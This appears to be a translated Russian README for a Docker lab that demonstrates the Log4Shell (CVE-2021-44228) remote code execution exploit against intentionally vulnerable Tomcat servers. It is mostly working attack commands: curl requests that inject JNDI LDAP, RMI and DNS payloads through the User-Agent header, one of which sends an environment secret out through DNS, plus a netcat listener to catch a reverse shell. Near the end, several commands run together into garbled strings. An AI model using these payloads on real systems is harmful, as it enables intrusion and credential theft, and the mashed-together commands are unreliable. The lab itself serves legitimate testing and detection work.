
Демонстрация эксплойта LDAP RCE на основе Docker для CVE-2021-44228 Log4Shell
Демонстрационный сервер Tomcat 8 на порту 8080 содержит уязвимое приложение (log4shell), и сам сервер также уязвим к атакам через User-Agent.
Удаленный эксплойт в этой демонстрации основан на том, что находится по адресу https://github.com/kozmer/log4j-shell-poc
Этот демонстрационный сервер Tomcat (Tomcat 8.5.3, Java 1.8.0u51) был перенастроен для использования Log4J2 в качестве системы логирования — нестандартная конфигурация.
Более новый сервер Bitnami теперь доступен на порту 8888. Он также настроен для логирования Log4J2 и работает на Tomcat 9.0.55 и OpenJDK 11.0.13.
Эксплойт RMI на сервере Tomcat 9 / Java 11 описан здесь: https://www.veracode.com/blog/research/exploiting-jndi-injections-java (3 января 2019) Майклом Степанкиным.
Скрипт обнаружения проверяет уязвимости User-Agent и взят отсюда: https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
Этот код требует Docker и Docker Compose
git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# Отредактируйте docker-compose.yml, чтобы настроить переменные окружения по необходимости.
# POC_ADDR — адрес контейнера cve-poc
# LISTENER_ADDR — адрес слушателя 'nc', например, хост Docker
# IP-адрес слушателя — это адрес машины, на которой вы будете запускать слушатель netcat 'nc'
# Это может быть локальный IP хост-машины Docker.
docker-compose build
nc -lv 10.10.10.31 9001docker-compose upadminpassword${jndi:ldap://172.16.238.11:1389/a}ncnc -lv 10.10.10.31 9001docker-compose upcurl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shelldocker-compose upcurl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/У меня возникли проблемы с аргументом командной строки для целевого пинга. Поэтому вам придётся скомпилировать самостоятельно.
docker-compose updocker exec -it log4j-poc_cve-poc_1 /bin/bashcd /home/user/rmi-pocjavac -cp catalina.jar:. RMIServerPOC.javajavac -cp catalina.jar:. RMIServerPOC 127.0.0.1docker-compose upcurl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2